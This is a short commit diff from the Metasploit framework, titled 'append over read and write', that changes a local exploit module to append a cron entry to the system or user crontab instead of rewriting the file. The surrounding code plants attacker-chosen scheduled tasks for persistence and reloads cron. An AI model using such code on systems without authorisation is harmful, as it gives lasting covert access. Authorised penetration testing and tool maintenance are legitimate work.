append over read and write

bug/bundler_fix
h00die 2016-06-21 16:56:34 -04:00
parent c7bacebd5b
commit 0f2c1d886c
1 changed files with 2 additions and 6 deletions

View File

@ -91,15 +91,11 @@ class MetasploitModule < Msf::Exploit::Local
end
when 'System Crontab'
file_to_clean = "#{target.opts['path']}/crontab"
crontab = read_file(file_to_clean)
crontab << "\n#{cron_entry}\n"
write_file(file_to_clean, crontab)
append_file(file_to_clean, "\n#{cron_entry}\n")
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
when 'User Crontab'
file_to_clean = "#{target.opts['path']}/crontabs/#{datastore['USERNAME']}"
crontab = read_file(file_to_clean)
crontab << "\n#{cron_entry}\n"
write_file(file_to_clean, crontab)
append_file(file_to_clean, "\n#{cron_entry}\n")
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
# at least on ubuntu, we need to restart cron to get this to work
vprint_status('Reloading cron to pickup new entry')